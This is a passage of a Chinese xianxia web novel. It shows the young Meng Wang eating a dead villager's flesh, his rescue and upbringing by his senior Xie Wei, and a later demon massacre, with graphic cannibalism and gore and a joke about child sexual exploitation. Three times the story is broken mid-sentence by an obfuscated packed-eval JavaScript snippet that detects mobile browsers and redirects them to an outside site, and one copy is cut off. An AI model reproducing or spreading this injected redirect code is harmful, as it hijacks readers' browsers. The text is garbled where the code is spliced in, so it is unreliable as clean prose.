于是满意地眯起眼睛松开了手,又跪到他身边,小心地拽下他伤口处的衣服,露出血淋淋的肩膀…… 而当他看清伤口的深度时,那丝得到许可的愉悦瞬间烟消云散。 眼神都冷了几度。 他仍是忍着没说什么,施了个术法去了那片血迹,从储物戒中掏出一个小药瓶,轻轻在伤口上洒了些。 他怕那人疼,每次都洒一点点,等到药粉化了之后再洒上轻薄的一层,用另一只手撑着膝盖,防止手抖碰到对方的伤口。 “你怎么会有这种药?”谢惟轻声开口。 对啊,他怎么会有这种药。 他一个会自愈的天魔,储物戒中怎么会有这种药。 孟惘轻轻抬了抬唇角,“万一哪天受伤了能用到呢。” 万一你哪天受伤了能用到呢。 上一世在他十三岁时,谢惟也为他受过伤,伤在腹部,伤口极深,但当时身上没有丹药,就只能眼睁睁看着他在人界硬撑了三天,直到将邪祟彻底铲除。 他在那时便极其悲哀地认识到—— 不光谢惟认为他自己不会受伤。 就连孟惘也认为他不会受伤。 那人彼时也才不过十八岁,世上任何人都可以赐他重担,仰予敬畏,漠其凡胎,举以神位,但孟惘绝不可以。 世人已经将那人捧的够高了,孟惘若是也把他视为不生不死不伤不痛的神,对谢惟来说太不公平,也太过残忍。 自那以后他的储物戒中便多了许多东西,伤药、灵丹、绷带、瓷碗、绵巾等等,还有许多有关病症伤口治疗的书册。 都是为了谢惟。 缠好绷带,谢惟施了个法诀,衣服立马换成了一件整齐洁净的青衫白袍。 他偏头看过来,好像有话要说。 孟惘乖乖坐在床边,眨巴眨巴眼睛,“怎么了师兄?” 他直觉谢惟想要敲他。 可他又没做错什么。 “你在仄冬荒……有和谁单独接触过吗?” 虽不知他问这何意,孟惘仍是歪头仔细想了想,“……迟羽声。” 谢惟敛眸,语气不变,“别和其他人走得太近。” “没有,我很少和他们说话。” …… 第二日,年后第十三天,人界和修真界又落了雪。 谢惟将月华殿内的窗户关上,发出“吱呀——”一阵轻响。 听到床上有动静,他转身看去,只见躺在床上的孟惘已经醒了,正伸着手放在面前,五指张开看着自己的手背,也不知是在想些什么。 他无声地走过去站在床边,意料之内的,孟惘的眼神还并不清明,应该是刚醒。 幽黑的眼珠动了动,视线落到了谢惟的脸上,床上之人抿起唇,露出一个甜甜的笑,声音也软软的—— “师兄。” 刚睡醒时的额发还有些凌乱,头发蓬蓬松松,让人忍不住想揉一揉。 谢惟坐在床边缕了缕他的鬓发,“吵醒你了?” “不是,是我睡醒了。” 孟惘坐起来抱着他的腰,将头靠在他的肩上,从储物戒里拿出两颗松子糖,是在仄冬荒时谢惟用符纸传过来的。 “刚醒就吃糖?” 感觉到微凉的指尖触到唇边,谢惟一怔,随即便感到不过拇指大小的松子糖在停留在舌间,香甜四溢,入口酥脆。 孟惘把松子糖当零嘴似的直接咬碎,吃的津津有味。 这人活像是泡在蜜罐儿里长大的,口味喜欢甜的,说话是甜的,笑是甜的,哪怕他就是站在尸山血海里了,哪怕他就是烂到骨子里了,整个人也都透着股清甜软腻,要把人溺死在骨血里。 谢惟站起身,将挂在一旁的外袍递给他,“我带你去人界逛逛,去吃点东西。” 待孟惘穿好衣服下了床后,谢惟又将他拉到镜前,像往常一样拿起梳子为他梳发。 手中的头发纤细柔软却很蓬松,整体上还有一点卷,谢惟拿了个紫色金纹发带熟练地将其松松束起。 感觉到温热指腹穿入发间,他忍不住舒服地眯起眼睛,唇角向上弯起一个柔醇的弧度。 “走吧。” 二人撑着油纸伞并肩走在雪地里,下雪天街上人不多,细听之下能听到雪落到伞面上的簌簌声,孟惘看见有几点雪花被风吹着落在身边人柔顺的发尾,不消片刻又渐渐淡去、消失…… 此刻天地万物都覆雪,唯独他们被困于伞下一隅,虽然各自撑一把伞,距离也不是很近,却隐约能感到谢惟周身一寸见方的热气。 他们进了一家面馆,小二送了一盘蜜煎。 油纸伞倚靠在面馆门口,度上一层风吹来的薄雪。 微冷。 像前世十一岁六月的那个雨天…… 一个衣不蔽体浑身脏乱的小孩躲在一棵树后,高大粗壮的树干遮住了小小的身躯,头发和衣服被雨水淋湿紧贴在身上,一双眼小兽似的警惕地偷窥着百米开外的村庄。 不久,他的视线盯住了一个人,那个人和他差不多高,正托着沉重的步子朝一个草房走去,手中拿着一个缺了口的破碗,碗中有一两个脏兮兮的钱币。 那人唇色青白,面色灰败,两颊凹陷下去,颧骨高高凸出。 他干裂的唇艰难地张了张,“娘,娘……我讨到钱了……” 孟惘知道,那个人快死了。 他也知道白天他不能出去,否则会被那些人打个半死,但他实在太饿了,等不到晚上就会被饿死的。 点漆似的黑瞳一眨不眨。 终于,那个人身体前倾,一下扑倒在地,钱币滚落发出一阵清脆响声。 孟惘狠狠咽了下唾沫,等了几秒。 见那人确实一动不动了,他撒开腿朝山下的村庄跑去,猛地跪倒在那人身边,抓起他的胳膊使劲咬了下去,用力一拽直接撕下块肉来…… 热血溅上脸颊,又迅速被大雨冲刷。 嘴中的肉还没来得及吞咽,一声惊雷声响起,他余光瞥见一个身影,偏头一看,闪电照出了房前那女人毫无血色的脸…… “啊啊——啊——!!” 那女人凄厉地尖叫起来,拿起身边的一把扫帚冲来,“他还是个孩子——!他还是个孩子!!” 孟惘转头便往上跑,不料被女人一下抽倒在地,背上一阵抽痛,他手指深深插入湿润的泥里,牙齿紧咬着口中的肉不放。 那女人身体不好,瘦弱的身躯用尽了全身力气挥完这一下,双腿下一软便跪倒在地,她伸出手抓住他的脚腕,疯了似地哭喊道,“你这个怪物!你还我儿子!你还我儿子——” 听到身后传来动静,孟惘回头一看,周围有些人抄着家什面色凶狠地朝这边跑来—— “怪物来了!杀了他!杀了他!” “去死!祸害!吃人鬼!” 他费力抽出腿连滚带爬地朝上坡跑去,不消片刻便窜进了树林消失不见,打骂声也终于消匿在远方的大雨中。 他不明白为什么要被打,他不过是想吃东西,他不过是不想挨饿。 只不过那些人吃的是熟的、热的、软的,而他吃的是生的、冷的、僵的。 有什么区别。 而且那个人明明死掉了,为什么不能吃。 又不是什么好东西,明明一点都不好吃。 孟惘把那块肉放到手上捧着,舔了舔上面的血,皱着眉咬下一块嚼了两口便囫囵咽了,然后找到他经常靠着睡觉的那棵大树,用几片大树叶细心包起那块手心大小的血肉。 然后蹲下身挖了个坑,将其放进去再小心埋上。 留着明天吃。 口中满是血腥味,他在滂沱大雨中并起两只手,想接些雨水喝。 他小心捧着手心中的雨水,凑到唇边,探出鲜红的舌尖舔了舔…… 不同于树下的积水,它没有泥土味。 忽觉不停地砸着自己的雨滴不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702549|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,头上像有什么东西压着。 孟惘抬头一看,只见一个白衣少年撑着一把素色油纸伞站在他的身前,正神色淡淡地俯视着他。 他立马后退一步作防备姿态,红唇微启,上下虎牙相抵,本能地自肺腑中发出低低的“呜呜”声,像是独困囹圄的野兽。 来人的目光有些炽热,但神色未变。 二人一人打伞,一人淋雨,就这样僵持许久。 孟惘的嘴唇颤了颤,吐字不清地对这个看似来者不善的人说道,“你……走,别在这里。” “这是你的地盘?凭什么让我走。” 十六岁的谢惟气死人不带给收尸的。 孟惘暗自咬牙,偏又由于长时间不开口所以不是很会说话,只能一个字一个字的从牙缝中挤出来,“你走……我……” 他磕绊良久,终于受不了了,直接向前一步伸出手将谢惟狠狠一推…… 没推动。 谢惟用灵力挡着,让人能碰到他,但也只是能碰到而已。 孟惘扭头就走。 然后头顶又被撑了伞。 他忍无可忍,猛一回头,“你做什么!” 此话一出,连他自己都愣住了。 这是他印象里唯一一次如此顺畅地说完一句话。 待他回神后才发现自己的破麻衣外又多了件洁白的外袍,那外袍很大,将他从头到脚都罩住,一股热气冲散雨水的冰冷,他听到一声清冽平稳的嗓音,“我并不是想害你。” 他蹲下身来,保持与孟惘视线相平,像是个正在谈判的商人,客观又冷静地将利益条件摊开在二人面前,“我可以给你温热的食物,给你干净的水,以后不会有人打骂你,你可以完全依赖我。” “但我也有个条件,”谢惟补充道,“你必须完全依赖我。” 孟惘由他的外袍裹着,被雨水洗得发亮的眼直愣愣地看着他。 “或者你还有什么想要的,都可以。” “骗子……” 谢惟面露无奈,“我不是骗子,我骗你有什么用?” “骗子。”孟惘顽固道。 他虽然不通人情,但是极为聪慧,直觉不会有人莫名其妙对他这么好。 一种浓郁的香气扑面而来,漆黑的瞳孔微缩,直直看着面前人手中突然出现的牛皮纸袋,他喉间一响,但是忍着没动。 谢惟仍是半蹲着身,将纸袋放在腿上,一手撑着伞,另一只手拿出一个湿手帕细细给他擦了擦手和脸,将纸袋打开递给他,“不烫……” 孟惘飞速地接过来,从里面拿出一块肉油饼就要往嘴里塞。 “但是有毒。” 他动作一顿。张开的嘴又缓缓闭起来。 谢惟弯了弯唇角,语气轻柔,又怕他听不懂似的十分“贴心”地解释道—— “吃了会死,就是像刚才那个人一样,倒地上就起不来了。” 孟惘的指甲深深掐入了饼中,油香四溢。 他饿。 但是吃了会死。 但是好香好想吃。 但是吃了会死。 他胃里抽搐疼得想吐,愤恨地盯着眼前人,手上仍是紧抓那块饼不放。 那人无动于衷,他渐渐红了眼眶,眼泪吧嗒吧嗒地往下掉,薄唇紧抿着,黑溜溜的眸中满是委屈。 他是真委屈,不是在刻意装给人看,他觉得面前这个人就是故意在欺负他,那人比他高,会发光还会变东西,故意拿吃的馋他又告诉他有毒…… 谢惟的眸中闪过一丝笑意,用袍袖给他擦擦眼泪—— “哭什么,我又不会哄你。” “吃不吃看你自己。反正你以后也吃不上这东西,只能吃死人肉。” 过了好一会,孟惘的手紧了又松,松了又紧,终于心一横咬了下去,一口一口缓缓嚼着,又抱着必死的决心咽下去,眼泪流得更凶了。 他低着头,没看见对方的神情,只听那人问道,“不好吃?” 从树林里野生两年的小孩儿摇摇头,泪水彻底糊住了视线,声音哽咽,“我……要死了,你个坏人。” “那你还吃?” 孟惘不说话,吃完一个又拿了一个。 他看起来才七八岁的样子,很小一只站在伞下,一张饼要用两只手拿。 他是真信了谢惟的鬼话,吃得十分伤心。 谢惟又是好笑又是心疼,看他吃完之后又用帕子给他擦了擦眼泪,又将他唇边、手上的油渍擦干净,“吃饱了?” 孟惘点点头。 “跟我回去吗?” 小孩愣怔片刻,蓦地抬起眼皮,对上一双含笑的桃花眼。 “你……骗我?!” 谢惟一只手圈住他的腰防止他逃跑,捏捏他擦净之后白嫩的脸蛋—— “你不是说我是骗子么?骗你不是正常……” 一条藤蔓在眨眼间缠上了他的脖颈。 谢惟垂眸,那藤蔓自他袖中而来。 “手。”孟惘憋出一个字。 意思是让他松开圈在自己腰上的手。 “松了你就跑。” “你……” 他话还没说完就被猛地拉入一个温暖的怀抱,下意识讶异地睁大眼睛。 那人身上有种淡淡的清香,比泥土味和血腥味好闻多了。 “我告诉你那饼吃了会死,你也还是吃了,只要能吃的好一点你连命都能不要。” “所以就算我是真的骗子又怎么样,只要能带你离开这个破地方,你还有什么不愿意的?” 孟惘感到有个奇怪的东西在那个人体内跳,跳得很快,紧贴着他的脸,“扑通扑通”的。 他茫然地听了半响,缠在对方脖颈上充作威胁的藤条慢慢收了回去。 20. 入门 孟惘轻轻拍了拍他的后背,是服软的表现。 “你今年多少岁?” 孟惘没说话,因为他听不懂。 他知道“你”、“今年”、“多少”,但不理解“岁”是什么意思,不过活着的这两年里他也有听别人说过,猜测应该在问他是老是小。 他又想之前那女人的哭喊。 死的那个人和他差不多高。 于是便用上了那个新词,极为认真地答道,“孩子。” “……” 谢惟沉默一瞬,自顾自抬手捏了捏他的手腕,又向上捏了捏他的胳膊,摸着他的骨相道—— “你今年应该十一岁。” 见对方默不作声地看着他,便猜到他又没听懂。 “就是说,你活了有十一年了,每多活一年就多一岁。” 从对方蹲下的姿态和为他挡着大雨的伞下获得了很多安全感,孟惘不由自主地开始信任他,作为回应地点了点头。 “知道生辰是什么意思吗?” “嗯。” “知道自己的生辰在何时吗?” 他摇了摇头。 “叫什么名字?” 他没有回应,像在思考。 过了良久,仍是摇头。 谢惟并不意外,好似问这些就是走个过场,“那就将今日定为你的生辰,为季夏十一日。” “你以后就叫孟惘。” “……好。”孟惘的眼珠稍稍动了动,像是很努力地想要记下他说的这两句话。 就这样,谢惟牵着他的手,离开腐尸遍野的初炼狱,穿过车水马龙的人世间,掀开旖旎秀丽的桃源幕,踏入仙山琼阁的南墟境。 他从始至终都被那只温暖的手握着,洁净宽大的白色外袍将他严实地裹着,琉璃般的瞳眸打量着四周,流转着纷杂亦澄澈的光泽。 有许多人往他们这里看,还有许多人恭恭敬敬地叫谢惟“大师兄”,他还能听到那些人的小声议论—— “那个小孩是谁啊,看起来是个凡人。” “怕不是从人界捡的?” “大师兄一向不与人接触又爱干净,怎么牵着他的手?还把衣服给他披……” “带他来是有什么用么……难道是什么人界委托?” 谢惟的视线清平地落在前方,没有分给周围人一丝一毫,只轻声说道—— “不要听他们说话。” “这里是练场,前面是传送阵,进去就能到山上了。” 孟惘专注地听他讲话,跟他进了传送阵,眨眼之间场景变幻,他们站在了一座殿前。 他睁大瞳眸,仰首观察着面前那巨大华丽的殿宇。 “你的……屋?” 谢惟低头看他一眼,唇边浮起一抹笑意,“你先住在我这里,我过几天会派人给你建一座。” 孟惘的眸光又落到他的脸上,微微歪头,“我能有?” 那只骨节分明且形状姣好的手在他脸上摸了一把—— “当然,你以后什么都会有的。” 他被那人牵进了殿内,一边打量着里面的陈设一边跟着他走,转而进了一间内室,屏风后有一个浴桶。 浴桶里的水冒着热气,就像是刻意为他准备的。 谢惟施了个法抚上他的肩,孟惘身上的破布麻衣立马变成了一套上乘布料的纯白色里衣。 他将身高才到他腰处的小孩抱起,俯身将人放入了浴桶之中。 谁知孟惘刚一入水便瑟缩一下,手指紧抓着他的衣袖不松,颤声说了一句—— “疼……” 谢惟动作一滞,“哪里疼?” 小孩眼睛红红的,像是要哭,又叫了一句“疼”。 “……是烫吗?” 孟惘点点头。 谢惟连忙将他从水中捞起,抱着他坐在浴桶旁的木台上,用手试了试水温。 刻意用灵力维系的温水,根本不烫,不然不会将他放进去。 他微微凝眉,偏头看向坐在自己腿上之人,望着对方苍白的脸色,几秒后蓦地反应过来—— 他所生之处四季恒温,吃喝都是冷的,林中阴气重,六月又多雨,这人几乎没碰到过什么有温度的东西。 他体温也比寻常人要低,常人以为舒恰适中的温水,猛地加诸于他身上,是在灼烫他。 谢惟于指尖聚起一点灵力在水中拨了拨,搂着那人的腰低声道—— “抱歉,这回应该不烫了。” 孟惘小心地将脚放进水中试了试…… 果真不烫了。 他松开拽着谢惟袖口的手,从桶边慢慢滑了进去,转身蹲坐在水中,抱着膝盖,颇为驯顺地抬眸看他。 水面淹过他的胸口,眼睫被水汽蒸得湿润,脸上也多了一分血气。 红嫩的唇微微弯起,他轻轻一笑,冷淡的眉眼刹时明丽起来。 他好像与生俱来就有这么个认知—— 笑容可以用来讨好和感谢。 谢惟有片刻的恍惚。 半晌,他伸手揉揉那人被雨水淋湿的头发,“暖和么?” 孟惘仍是抿着嘴笑,眼尾弯弯的,“嗯。” 世界上再有什么万丈深渊、三尺冰封,也能被他熨烫得软成一汪春水,只剩柔情了。 谢惟就一直坐在一旁陪着他。 又泡了一会,孟惘小声开口道—— “你真好,他们……不让我碰东西,看到……就打。” “那些人都……我……恶心。” 恶心。 他学了这么一个词来形容自己。 纤细的睫毛低垂着,光自窗外倾洒而来,平静水面上映出细碎斑驳的倒影。 谢惟眸光一暗,伸手将他从水中抱起朝外走去,用灵气烘着怀中人的衣衫—— “以后不会再有人打骂你,会有很多人喜欢你。” 话音未落殿门便被一下推开,紧接着一道慵懒的声音响起,“我听说你带回……” 傅靖元倏地顿住,震惊地看着抱着个小孩站在内室门口的谢惟。 视线一转,打一眼望去,那小孩身形瘦小,肤色冷白,长相甜腻昳丽…… 这令他突然想起之前皇宫中某些太子党从人界寻得的用来调/教和满足兴味的幼奴。 “大师兄……你这癖好……说出去可就要名声扫地了。”他半开玩笑半试探道。 谢惟不答,抱着孟惘朝床边走去,淡声道—— “那是你二师兄。” “……你、你要让他拜入师门?!” 他一脸不可置信地盯着那人不似玩笑的神情,又看了看他怀中之人,“他一个毫无……” “……二师兄。” 一声略显喑哑又带着股醇软稚气的声音撞入耳膜,直酥了人半边身子。那双尚未被蒸干的湿润眼眸隐隐不安地望着他,眼尾天生自带一抹红棕逦晕,被人稳稳抱在怀中,像个易碎的瓷娃娃。 傅靖元很没出息地喉间一哽,集众多情感于一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702550|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出了一个带着气音的感叹词—— “靠……” 不顾谢惟的眼神警示,他视线直贴在孟惘的脸上,“他是个凡人对吧?不是魅妖什么的……吧?” 谢惟没应,将人轻轻放在床边,蹲下身替他把脉。 傅靖元愣怔片刻,随即重新揣起手来,笑眯眯走到他跟前,弯下腰低声诱哄道—— “乖崽,再叫一声。” 孟惘犹豫半晌,开口道—— “二师……” 谢惟抬手捂住了他的嘴,但话却是对傅靖元说的—— “你给我滚。” 他像全然没听到一样,仍是贱兮兮问道,“一个彻头彻尾的凡人,你怎么说服师尊收他为关门弟子,又怎么平息山下八千子弟的异议?” 茶褐色眼中揉杂着复杂的情感,又好似平淡如常,“大师兄,他是你什么人?” “……不是我什么人,我看他资质极佳又有木灵伴生,带来给师尊当徒弟,师尊没理由不收。” “木灵伴生?”傅靖元眉梢微挑。 若一个人生来与五行相亲,能与五行中的某行相感应联系,则说明此人有飞升成神的潜质。 孟惘一直坐在床边听他们说话,此时谢惟坐在他旁边抬起他的胳膊—— “你偷东西都是怎么偷的?” 傅靖元,“……” 这是可以问的么? 孟惘思考片刻,心念一动,袖中便幻化出几根青细的藤条来,自袖内向外蜿蜒而出…… “当真是木灵……确实百年难遇的飞升料。” 他轻轻一笑,收起眼中的诧异,直起身打了个哈欠,双手揣袖悠悠转身朝门外走去,嗓音薄淡化于风里—— “那你一会给师尊说说吧,站你这一会儿怪累的,我得回殿睡午觉了。” 待他走后,谢惟用指尖给孟惘顺着头发,“以后别随便叫人,知道不知道?” 他瞳中明亮纯洁纤尘不染,虽是不解,也仍是懵懂应下。 …… 此后两天,他在谢惟的陪同下,在众人或惊或怒、或慕或妒的目光下,被天玄仙尊正式收为关门弟子。 自此,谢惟教他写字认字,教他练剑修行,他们衣食同行,共枕而眠…… 三个礼拜下来,傅靖元看着在桃树下用灵力操控着剑器演练剑法的孟惘,偏了偏头低声对身边的谢惟说道,“你到底从哪儿捡的宝,我也去捡一个,这资质绝了。” 谢惟没理会他上半句话,只点点头,“再有一个月便可结丹。” “我感觉你对他的修行并不在意,”傅靖元看着他平静的神情,试探性问道,“他现在说话怎么样了?” 只见谢惟的神色肉眼可见地缓和下来,声音也轻了些许,“嗯,很好教,能正常和人说话了,基本的词和句子也都理解了。” 傅靖元快被对方的人父感闪瞎眼,无奈移开目光,“那过几天把他送师尊那里学些东西,你也别对他太上心。” “我觉得你关心他的修为还可以,但是……他的日常起居、衣食住行以及基本的生活常识,你还是别太关注了。” 他话说的有些犹豫,虽然二人年龄相同,但谢惟毕竟是他大师兄,规矩还是要有的。 “我总觉得你有点本末倒置,关注点……” “我心里有数。” 这话在十六岁的谢惟口中说出来,最不可信。 “唉……行吧行吧。”傅靖元摆摆手,也不多纠结这个话题。 21. 朝生 孟惘便如此迷迷糊糊的当上了南墟境天玄仙尊的关门弟子,虽然名义上是这样,但几乎见不着天玄的面,什么都是谢惟在教他。 他结丹很快,结丹后修为增进的更快,但嗜血的习惯还是同从前一样。 他本以为自己之前是没有吃的才会喜欢尝血,后来才知道这和有没有吃的毫无关系。 谢惟不让他咬生肉,喝人血,什么都要教。 养的时间一长就会发现,小孩并不像刚捡来时那么乖。 正派作风他是一点不沾,长得妖魅行事也残忍极端,拎着把剑几日一换,砍人必把剑砍断,然后再顺理成章地用暴力压制。 终于有一天妖界妖王许千影闭关,妖族分庭抗礼谋反作乱,有许多妖修冲破人妖两界禁制到人界滥杀滥抢,一片昏天黑地,惨叫四起。 十四岁的孟惘当时正在路边买吃食,好巧不巧赶上这场异变,唇角根本压不下,兴奋得眼都红了—— 修真界明文规定不让胡乱杀人,又没说不让胡乱杀妖,况且是他们自己先作乱,这可怨不得别人。 于是各境派出平乱的修士来到便见南墟境那个不知从哪个山沟子捡来的关门弟子,正跷着腿坐在一座七米高的尸山上,浑身血污,笑意吟吟地舔着鲜红的指尖。 几乎是所有人都倒抽了一口冷气。 冷白的面上染着血痕,如同地狱里爬出的玉面罗刹。 墨色长发垂落在膝,蜿蜒融入血水。孟惘坐在自己搭的尸山上,一手撑在身后仰头看着天,内心十分餍足,困意渐渐袭卷而来,底下人叽叽喳喳讨论的什么他也没有听进去。 混沌中突然传来一道熟悉的声音,他瞳孔微缩,从七米高处向下看去,只见谢惟正站在下方,静静地看着他。 距离太远,他看不太清那人眼中的情绪,下意识有些不安,乖乖站起身迟疑地朝他走去。 由尸体垫成的斜坡并不平整,他深一脚浅一脚向下走去,踩着的鲜血泥泞黏腻,脚下尸身尚且温热。 他右手上都是血,不知道掏了多少妖修的心脏,犷戾之余徒手挖眼剜心最是利落简单,一招一式都不肯多用。 当然不止右手,除了脸和脖子还干净点,一身黑衣都被血浸的暗红。 他不知自己是不是在犯错,但那些人看他的眼神绝对不像是在看一个做了好事的乖孩子。 孟惘站在离谢惟两步之遥处停下,身上浓郁的血腥味融入侵袭了那人身上的冷香。 谢惟很爱干净的,他暗自想道。竟是一反常态地没有抱住那人撒娇。 他像做了亏心事一般垂眸,声音都不自觉小了下来,“师兄……” 话未说完,一只微凉的手抚上他的脸,指腹轻轻擦去他脸上半干的血迹,“有没有受伤?” 孟惘一怔,随即抿唇弯起嘴角,就势在他手心下蹭蹭,眼睛亮亮地看着他,“没有。” 谢惟牵起他的手,“下次不要那么冒失。” “嗯嗯。”孟惘点点头。 …… 十二月凛冬,璞玉无瑕的天上神牵着脏戾血泞的地下鬼,温度自相贴的手心处传递,踏过血泊,穿过人群。 行梭于红尘世间,宿命本上一折再添一折,有人沉默不宣,有人迷雾观影。 他望穿了他的一生生。 不知走了多少年。 不知忘了多少年。 “师兄,我想吃傅靖元殿前的桃子。” 他那二师兄殿前一直有棵用灵力维系着的桃树,一年四季都开花,也可以用灵力催其结果。 南墟境关门弟子目前只有三个人,他和谢惟关系自是亲近,和傅靖元关系也是极好。 身旁人的嗓音伴着脚下踩着薄雪的沙沙声,直拂在人心尖上,如飘落的碎琼般透着沁人心脾的凉意—— “好,带你去。” 对于孟惘来说,虽然二师兄有些时候又欠又贱,吃饭时候总把都是油的肥肉给他,有事没事就给他灌输些奇怪的知识,还总摁着他让他看些不正经的书图…… 但他也无疑是个好人。 他会给他催桃子吃。 傅靖元扫了殿前玉桌上的积雪让他坐在上面,平日白皙的肤色在寒冬更甚几度,一身流金白袍下隐约可见瘦削的身形。 他提了一篮子小桃递给孟惘,紧接着就在桌边的椅子上坐下。 好像多站一会儿腿就能断了似的。 “洗了没?” “洗了,”傅靖元从储物戒中拿出一套茶具开始沏茶,无语道,“祖宗一样。” 孟惘坐在桌上抱着篮子,拿起一个咬了一口,满意道,“甜。” 傅靖元给坐在一旁的谢惟推了杯热茶,“小惘今年十四?” “嗯。” “我看以后是少让他下山。” 谢惟端起茶盏轻抿一口,不置可否。 孟惘却蹙了蹙眉,“为什么?” “因为你太娇了。”他颇不正经地笑起来,声线懒散,“适合让你大师兄养着,当个金丝雀。” “你才娇。” 孟惘白他一眼。 要单论体术,他能甩那懒货八十条街。怎么好意思说他娇的。 傅靖元笑意更甚,“小惘,你喜欢男人女人?” 孟惘一顿,“什么男人女人。” “双修啊,你想跟……” 一个圆滚滚的桃子直冲他面门砸来,他止了话音,抬手一接。 力道不小,震得他手骨发麻。 “我要没接住,鼻梁骨可就被你砸断了。” 孟惘垂着眼皮看他。 “看看,看看,一说就生气。”傅靖元掂了掂那桃子咬了一口,含糊道,“不说了成了吧。” 他又眯起眼睛看向一旁喝茶的谢惟,“你带来这小孩儿,也就在你面前像个小孩儿。你看他方才对我,相处三年还下死手,小畜生。” 傅靖元脾气倒挺好,就算孟惘时常与他对着干他也不恼,说不得什么重话,不论什么时候都会叫他“小惘”,实在不满了也就叫一声“小畜生”,还不自觉带着一两分纵容意味。 孟惘鼓了鼓腮帮,跳下桌子到谢惟旁边坐下,抱着他的胳膊委屈道—— “师兄,他又冤枉我,我又没用灵力……” 谢惟从储物戒中拿出一块手帕细细给他擦着沾了桃汁的指尖—— “嗯,你下次用灵力砸。” 傅靖元,“……” “惯吧,你就惯吧。”他抱着胳膊倚在身后的椅背上,“迟早惯出事儿来。” 孟惘倚在谢惟怀中,偷偷瞥了眼他那气急败坏的二师兄。 他从小就会观察人。 准确来说是从有意识的那年开始,也就是九岁时,就很容易能凭感觉猜出一个人的性情。 比方说他见谢惟的第一眼,就觉得这个人虽然表面疏冷,但实际上执念很重。 他看傅靖元的第一眼,便能窥他那不经意下的凄苦漠然。 但这也只是感觉,在南墟这三年他几乎无从求证。 直到后来有一天—— 枯月峰一魔妖诞出,为半妖与魔修所产,妖魔两类至阴之物所产之子一旦降生便脱离四界掌控,既有灵丹也有魔气,天道不容。 必须在其逃到人界之前将其铲除,否则后患无穷。 因枯月峰属南墟境边缘一带,天玄仙尊派他们三人前去除祟。本以为三人对付一个刚出生的魔妖绰绰有余,谁知那半妖所产为双生子,其中一个化为妖兽形态剖了半妖的灵丹功力大涨,体形倍增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟惘眨眨眼,望向那个渐渐消逝的魔妖残体。 如果当初被修真界知道他是百里一族,他大概会死得比那魔妖更惨。 一个死生同日,一个授人恩遇。 同样的孽种,不同的命。 一只手抚上了他的眼睛,谢惟微微弯腰,“我抱你回去?” 那声音和吐息直刮着耳畔,让他脊柱都忍不住战栗。 孟惘的后背很敏感,身后三米之内一有人动作或说话他就会立马进入高度警惕状态,除了谢惟没人能离他后背那么近。 他有些僵硬地往前走了一步,转过身看向他,“我没受伤。” 转身便朝着阴侧,树下蒙阴让他原本于光下微缩的瞳孔渐渐向外扩散,谢惟目睹全程,几乎是本能地浑身轻颤了一下。 像是双膝一软跪下来的速度,孟惘眼睁睁地看着他有些失控地竭力缓冲成半跪状态,颤着手抚上自己的脸颊,力道没能收住—— “闭眼。” 孟惘不明所以,慌忙闭上眼睛。 过了良久,直到听到傅靖元走过来的脚步声,谢惟像才缓过来似的,抬手缕了几下他高束的马尾,慢慢起身握住他的手,“走吧。” 孟惘又莫名奇妙地睁开眼睛,抬头疑惑地看向那面色恢复如常之人。 此后总会时不时地想,如果那魔妖降世后在他们赶来之前逃到了人界,如果他在没有灵力作乱的情况下只能靠吃死人饱腹,那他会不会和当年的自己一样,遇上谢惟这种人。 然后享受几年骗来的安乐。 22. 骗局 “不合味口?”谢惟见他吃得极缓,不由得开口询问道。 思绪骤然回笼。 “……不是,挺好吃的。”孟惘忙往嘴里扒了一大口面,一下一下嚼着。 “师兄,”他漆黑的眸中隐有光泽流转,“当初你带我回南墟,是因为发现我有木灵伴生?” 谢惟静默半晌,轻轻开口,嗓音清润—— “……不然呢。” 他虽知谢惟也是从那个世界来的,但却不知谢惟到底是从何时重生的。 而且孟惘十六岁之前的记忆还是上一世的,他并不知道这一世他们的初遇是否有什么不同。 不过既是全然复制来的,想必这两个世界的发展方向也不会有太大差异。 当然目前是除了法场不稳这一点。 一张传音符突然浮现在谢惟手中,风乔儿略显急切的声音隐约自其中传来—— “师兄你们快回来,索苑境的人在山下等着执意要找三师兄,师尊正派人带他们上来。” “他们不知道添油加醋说了些什么,师尊的脸色很不好……” 孟惘一怔,索苑境…… 莫不是那个齐原。 竟把那茬忘了。 “好。”谢惟应了一句就收了传音符,看了孟惘一眼,却什么也没有问。 待二人御剑赶回南墟,境内弟子就见到这么一副景象—— 走在前面的白衣人面色凝霜,风吹起鬓发露出疏凌俊秀的侧脸,“泠潮仙尊定是亲自兴师问罪来了,不然师尊不会让那群废物上山。” 他身后的孟惘则抓着他的袖袍,软声讨好道,“师兄,我的错,你别生气……” 本来要向前颔首打招呼喊一声“大师兄”“孟师兄”的一众弟子表情都十分精彩。 虽然孟惘年龄小,但也是天玄座下关门弟子,且入门时间又早,境内弟子见到了于礼也是要喊一声师兄的。 